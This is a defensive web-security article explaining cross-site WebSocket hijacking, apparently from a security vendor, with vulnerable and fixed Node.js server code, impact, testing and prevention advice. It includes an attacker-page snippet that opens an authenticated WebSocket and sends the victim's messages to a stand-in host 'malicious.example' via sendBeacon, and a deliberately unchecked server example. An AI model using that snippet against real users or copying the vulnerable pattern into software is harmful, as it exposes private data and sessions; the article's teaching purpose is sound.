Skip to content

Cross-site WebSocket hijacking

CWE-1385CWE-346OWASP A01:2021Updated September 4, 20265 min read

A WebSocket connection is opened with an ordinary HTTP request that carries cookies, but to which the same-origin policy does not apply. If the server does not check the Origin header, any site can open a connection on behalf of your logged-in user, and unlike CSRF it can also read every response.

WebSockets fall outside the assumptions the rest of the web leans on. The same-origin policy does not apply to them, CORS does not intervene, and yet the browser sends cookies along quite normally when opening the connection. That combination turns a check you get from the browser elsewhere into your own responsibility here. It goes wrong in one specific way.

What is cross-site WebSocket hijacking?

A WebSocket connection begins as an ordinary HTTP request asking to switch to the WebSocket protocol. With that opening request the browser sends all cookies for the target domain, exactly as with any other request. What it does not do is apply the same-origin policy: there is no preflight request and no policy holding the connection back.

We speak of cross-site WebSocket hijacking when the server does not check from which origin that connection is opened. Any site your logged-in user visits can then set up a connection to your application that is fully authenticated, with the victim’s session, and communicate over it in both directions.

The distinction from CSRF matters. With CSRF an attacker can have a request carried out but cannot read the response; the browser stops that. Here there is no browser stopping anything: an open channel appears over which the attacker sends and receives, for as long as the connection stays up.

How does a WebSocket hijacking attack unfold?

Vulnerable:

const { WebSocketServer } = require('ws');

const wss = new WebSocketServer({ server });

wss.on('connection', (socket, req) => {
  const session = readSession(req.headers.cookie);     // cookie was sent along
  if (!session) return socket.close();

  socket.on('message', async (message) => {
    const query = JSON.parse(message);
    if (query.type === 'messages') {
      socket.send(JSON.stringify(await messages.for(session.userId)));
    }
  });
});

The session is checked properly, so only logged-in users get a connection. What is missing is the question of where that connection is opened from. On an attacker’s page the following then suffices:

// Runs as soon as a logged-in victim visits this page
const ws = new WebSocket('wss://portal.example/channel');

ws.onopen = () => ws.send(JSON.stringify({ type: 'messages' }));
ws.onmessage = (e) => {
  navigator.sendBeacon('https://malicious.example/in', e.data);
};

The browser sends the session cookie when opening, the server sees a valid session and the connection is established. From that moment the attacker can send any command your protocol supports and read every response: messages, data, notifications. The victim only has to leave the page open.

Safe:

const ALLOWED = new Set(['https://portal.example']);

const wss = new WebSocketServer({
  server,
  verifyClient: ({ origin, req }, done) => {
    if (!ALLOWED.has(origin)) {                     // exact match
      return done(false, 403, 'Origin not permitted');
    }
    done(true);
  },
});

wss.on('connection', (socket, req) => {
  // Authentication through an explicit token, not the cookie sent along
  socket.firstMessage = true;
  socket.on('message', async (message) => {
    const query = JSON.parse(message);

    if (socket.firstMessage) {
      socket.user = await checkChannelToken(query.token);
      socket.firstMessage = false;
      if (!socket.user) return socket.close(4401, 'Not authenticated');
      return;
    }
    // ... handling with socket.user
  });
});

Two independent measures work together here. The origin check refuses connections from any other domain. And authentication no longer runs through the automatically sent cookie but through a short-lived token the application requests explicitly and sends as the first message, something a foreign site cannot obtain.

The Origin header can be trusted for requests from a browser, because the browser fills it in itself and will not be steered on that by script code. It cannot be trusted for requests from outside a browser: a script or tool puts in whatever it likes. Use the check to block browser-based attacks, and never as the only form of authentication.

What is the impact of cross-site WebSocket hijacking?

The severity runs from medium to high and is determined by what travels over the channel. WebSockets are used precisely for the lively parts of an application: chat messages, notifications, live overviews, collaboration on documents. That is usually substantive information, not just metadata.

Because the channel works in both directions, it does not stop at reading along. If your protocol also supports actions, sending a message, changing a setting, editing a document, the attacker can carry those out on behalf of the victim. And the connection stays open for as long as the tab does, so they watch not one moment but a continuous period.

Detection is difficult. On the server side there is a normal, authenticated connection from a known user. The only unusual thing is the origin, and that is precisely what is not checked, which is the vulnerability.

How do you detect cross-site WebSocket hijacking?

A tester first looks for where the application uses WebSockets; that is visible in the network traffic as a request switching to a 101 response. The opening request is then repeated with a changed or missing Origin header, to see whether the connection is still established.

If that succeeds, they examine what the channel allows: which message types are accepted, which data comes back, and whether actions can be performed. They also check whether authorisation happens per message or only when setting up the connection, because a channel that accepts every command after authentication is vulnerable to reaching another user’s data within that same connection. Whether the session cookie has a SameSite attribute that breaks the attack anyway is checked too. AssistSec covers WebSocket channels explicitly in a penetration test, because automated tools nearly always skip them while the functionality behind them is often sensitive.

How do you prevent cross-site WebSocket hijacking?

  • Check the Origin header against a fixed list when setting up every WebSocket connection.
  • Authenticate the connection with a short-lived token sent as the first message, not with the cookie sent along.
  • Authorise every individual message, not only the setting up of the connection.
  • Give channel tokens a short validity and invalidate them after use.
  • Set SameSite=Strict or Lax on the session cookie as an additional layer.
  • Use wss:// exclusively, so the traffic is encrypted.
  • Limit the number of connections and messages per user to bound abuse.
  • Close connections when the underlying session expires or is revoked.
  • Log the setting up of connections including the origin, so anomalies become visible.

Sources

Frequently asked questions

Why does CORS not protect here?

Because the CORS mechanism does not apply to WebSocket connections. The browser performs no preflight request and enforces no policy; it only sends the Origin header along. What happens with that is entirely up to the server.

Is this worse than CSRF?

In consequence, usually yes. With CSRF an attacker can force an action but cannot read the response. With WebSocket hijacking a two-way channel is open: they send messages and receive everything the server sends back, for as long as the connection lasts.

Does SameSite on the cookie help?

Yes, a SameSite of Lax or Strict prevents the session cookie travelling with a connection opened from a foreign site, and that breaks the attack. Treat it as a useful extra layer; checking the Origin remains the measure that matters.

What is a better approach than cookies?

Authenticate the connection with a short-lived token your application requests explicitly and sends as the first message over the channel. Because the browser does not send that token automatically, a foreign site cannot establish an authenticated connection.

Related articles

Press / to search · Esc